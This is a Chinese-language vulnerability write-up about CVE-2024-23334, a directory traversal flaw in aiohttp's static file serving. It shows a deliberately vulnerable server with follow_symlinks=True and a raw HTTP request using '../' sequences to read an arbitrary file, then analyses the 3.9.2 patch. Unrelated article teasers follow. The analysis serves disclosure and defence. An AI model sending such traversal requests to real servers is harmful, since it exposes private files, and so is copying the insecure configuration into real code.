CVE-2024-23334 AIOHTTP 目录遍历漏洞分析

漏洞描述:

aiohttp 是一个用于 asyncio 和 Python 的异步 HTTP 客户端/服务器框架。使用aiohttp作为Web服务器并配置静态路由时,需要指定静态文件的根路径。此外,选项“follow_symlinks”可用于确定是否遵循静态根目录之外的符号链接。当“follow_symlinks”设置为 True 时,不会进行验证来检查读取的文件是否位于根目录内。这可能会导致目录遍历漏洞,从而导致对系统上的任意文件进行未经授权的访问,即使符号链接不存在也是如此。鼓励缓解措施是禁用 follow_symlinks 并使用反向代理。版本 3.9.2 修复了此问题。
在这里插入图片描述
服务启动Py文件中有"/static", “static/” 其中一个是涉及现有目录,没有自行创建一个,不然可能会报错

from aiohttp import webasync def index(request):return web.Response(text="Hello, World!")app = web.Application()
app.router.add_routes([web.static("/static", "static/", follow_symlinks=True),
])
app.router.add_get('/', index)if __name__ == '__main__':web.run_app(app, host='127.0.0.1', port=9999)

在这里插入图片描述

GET /static/../../../../D:\\6666.txt HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

漏洞原因

在使用 aiohttp 作为 Web 服务器时,错误配置静态资源解析可能导致目录遍历漏洞,允许攻击者未经授权读取系统上的任意文件。该漏洞的根本问题在于静态路由配置中的 follow_symlinks 选项,当设置为 True 时,可能绕过验证,使得符号链接可以指向根目录之外的文件,导致安全漏洞。


app.router.add_routes([web.static("/static", "static/", follow_symlinks=True),  # Remove follow_symlinks to avoid the vulnerability
])

补丁分析

通过官方项目发布补丁情况

  • 路径处理逻辑: 使用 normalized_path对未解析的路径进行规范化处理,消除冗余的分隔符和相对路径。然后再尝试将规范化的路径转换为相对于指定目录的相对路径,最后解析为绝对路径。
  • 符号链接处理: 根据 follow_symlinks
    的设置,决定是否遵循符号链接。如果需要遵循,则使用规范化的路径,否则直接使用未解析的路径。
  • 异常处理: 在捕获到可能的异常时,如 ValueErrorFileNotFoundError,同样触发了适当的错误处理,即抛出 HTTPForbidden 异常。

在这里插入图片描述

结束语

从启用 follow_symlinks 选项并且路径指向符号链接时发生目录遍历漏洞。通过补丁改进,补丁代码确保了在处理静态资源时,即使路径指向符号链接,也能正确地验证路径是否在指定的根目录内,从而防止了目录遍历漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/718501.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

css样式元素的相对定位,绝对定位,固定定位等元素定位运用技巧详解

文章目录 1.相对定位 relative2.绝对定位 absolute3.固定定位4.display 转换元素5.float浮动6.float产生内容塌陷问题7.overflow CSS样式学习宝典,关注点赞加收藏,防止迷路哦 在CSS中关于定位的内容是:position:relative | absolute | static…

Unreal触屏和鼠标控制旋转冲突问题

Unreal触屏和鼠标控制旋转冲突问题 鼠标控制摄像机旋转添加Input轴计算旋转角度通过轴事件控制旋转 问题和原因问题原因 解决办法增加触摸控制旋转代码触屏操作下屏蔽鼠标轴响应事件 鼠标控制摄像机旋转 通过Mouse X和Mouse Y控制摄像机旋转。 添加Input轴 计算旋转角度 通过…

SpringBootWeb快速入门

1.创建springboot工程,新建module 2.勾选web开发相关依赖 3.删除多余文件 4.新建类 5.启动类中运行main方法 6.启动 默认端口号8080 7.打开浏览器,地址栏输入 8.报错 9.原因,控制层位置放错,剪切controller层放进com.example …

[vue error] TypeError: Components is not a function

问题详情 问题描述: element plus按需导入后,启动项目报错: 问题原因 unplugin-vue-components插件版本问题 查看 unplugin-vue-components插件可以发现版本太高了 问题解决 unplugin-vue-components 版本高了,我用的0.26.0&#xff0c…

AI写的wordpress网站首页模板 你觉得怎么样?

以下是一个AI写的基本的首页模板示例&#xff0c;包含您提到的各个模块。请注意&#xff0c;这只是一个基本框架&#xff0c;您可能需要根据您的具体需求进行进一步的定制和调整。 <!DOCTYPE html> <html <?php language_attributes(); ?>> <head>&…

【STM32+HAL】姿态传感器陀螺仪MPU6050模块

一、准备工作 有关OLED屏初始化的问题&#xff0c;详见【STM32HAL】OLED显示初始化配置 二、所用工具 1、芯片&#xff1a;STM32F10C8T6 2、CUBEMX配置软件 3、 6 轴运动处理组件MPU6050 三、实现功能 OLED屏显示姿态角 四、HAL配置步骤 1、开启I2C1进行MPU6050通信 2、开…

供应链管理(SCM):界面设计全面扫盲,得供应链者得天下

大家伙&#xff0c;我是大千UI工场&#xff0c;专注UI分享和项目接单&#xff0c;本期带来供应链系统的设计分享&#xff0c;欢迎大家关注、互动交流。 一、什么是SCM SCM系统是供应链管理&#xff08;Supply Chain Management&#xff09;系统的缩写。供应链管理是指协调和管…

计算机视觉 了解OpenCV、COLMAP、PyTorch3D 和 OpenGL 中坐标系3D转换的简要指南

一、简述 由于坐标系不同,在OpenCV、COLMAP、PyTorch3D和OpenGL等 3D 框架的世界中进行转换可能会令人觉得头疼。这里比较它们的坐标系并提供它们之间转换的示例。核心还是找到在这些不同的 3D 环境中无缝工作所需的知识,让我们以清晰直接的方式探索和理解这些坐标系。 2D 成…

【笔记版】edgecore.yaml分析总结

1. 文件路径 /etc/kubeedge/config edgecore.yaml是该目录下唯一的文件 附上链接&#xff1a;edgecore.yaml 2. 文件生成方式 2.1 方式一 使用keadm安装部署的方式&#xff0c;执行完keadm join --cloudcore-ipportcloudcore监听的IP地址:端口&#xff08;默认为10002&…

题目 1431: 蓝桥杯第五届真题-分糖果

题目描述: 有n个小朋友围坐成一圈。老师给每个小朋友随机发偶数个糖果&#xff0c;然后进行下面的游戏&#xff1a; 每个小朋友都把自己的糖果分一半给左手边的孩子。 一轮分糖后&#xff0c;拥有奇数颗糖的孩子由老师补给1个糖果&#xff0c;从而变成偶数。 反复进行这个游戏…

设计模式精解:GoF 23种设计模式全解析

在软件工程中&#xff0c;设计模式是为了解决常见的软件设计问题而形成的一套经典解决方案。这些模式不仅能够帮助开发者提高设计的灵活性和代码的重用性&#xff0c;还能使问题的解决方案更加清晰、易于理解。《设计模式精解&#xff0d;GoF 23种设计模式》一书中所列举的23种…

微信小程序的单位

在小程序开发中&#xff0c;rpx是一种相对长度单位&#xff0c;用于在不同设备上实现自适应布局。它是微信小程序特有的单位&#xff0c;表示屏幕宽度的 1/750。 rpx单位的好处在于可以根据设备的屏幕宽度进行自动换算&#xff0c;使得页面在不同设备上保持一致的显示效果。例…

学习笔记 前端

学习笔记 前端 学习记录nodejsyarn解决方法 学习记录 nodejs yarn 描述&#xff1a;想体验一下chatgptnextweb在本地部署&#xff0c;但是本地部署需要yarn环境&#xff0c;网上看了yarn在node16以上就自带了&#xff0c;而我的电脑是node18&#xff0c;所以就直接输入了ya…

(十)SpringCloud系列——openfeign的高级特性实战内容介绍

前言 本节内容主要介绍一下SpringCloud组件中微服务调用组件openfeign的一些高级特性的用法以及一些常用的开发配置&#xff0c;如openfeign的超时控制配置、openfeign的重试机制配置、openfeign集成高级的http客户端、openfeign的请求与响应压缩功能&#xff0c;以及如何开启…

论文阅读-高效构建检查点

论文标题&#xff1a;On Efficient Constructions of Checkpoints 摘要 高效构建检查点/快照是训练和诊断深度学习模型的关键工具。在本文中&#xff0c;我们提出了一种适用于检查点构建的有损压缩方案&#xff08;称为LC-Checkpoint&#xff09;。LC-Checkpoint同时最大化了…

MFC中CString的MakeUpper使用方法

在MFC中&#xff0c;CString类提供了MakeUpper函数来将字符串中的字符全部转换为大写。MakeUpper函数没有参数&#xff0c;它会直接修改原始的CString对象。 下面是一些示例代码&#xff0c;演示了如何使用MakeUpper函数&#xff1a; CString str "Hello, World!"…

uniapp开发android原生插件

一、下载原生开发SDK Android 离线SDK - 正式版 | uni小程序SDK (dcloud.net.cn)、 https://nativesupport.dcloud.net.cn/AppDocs/download/android.html 将开发uniappa原生android的插件解压到ben本地目录&#xff0c;目录结构如下&#xff1a; 接下就可以使用 UniPlugin-Hel…

【本科组冠名奖】2023年第八届数维杯数学建模挑战赛获奖感言

美国大学生数学建模竞赛已结束过半&#xff0c;现在又迎来了2024年第九届数维杯国赛&#xff0c;准备参加今年数维杯国赛的同学&#xff0c;今天我们一起看看去年优秀的选手都有什么获奖感言吧~希望能帮到更多热爱数学建模的同学。据说文末在看点赞的大佬都会直冲国奖呢&#x…

实用Pycharm插件

Pycharm的离线安装&#xff1a;https://plugins.jetbrains.com/ 需要根据对应的Pycharm/Goland版本选取所需的 对于实用的插件如下&#xff1a; 实时查看每一行的git blame信息&#xff1a; Gittoolbox 转换IDE的英文为中文&#xff1a;Chinese IDE侧格式化json字符串&#…

UE5 C++ TPS开发 学习记录(八

这一次到了p19 完善了UI和写了创建房间 MultiPlayerSessionSubsystem.h // Fill out your copyright notice in the Description page of Project Settings. #pragma once #include "CoreMinimal.h" #include "Subsystems/GameInstanceSubsystem.h" #in…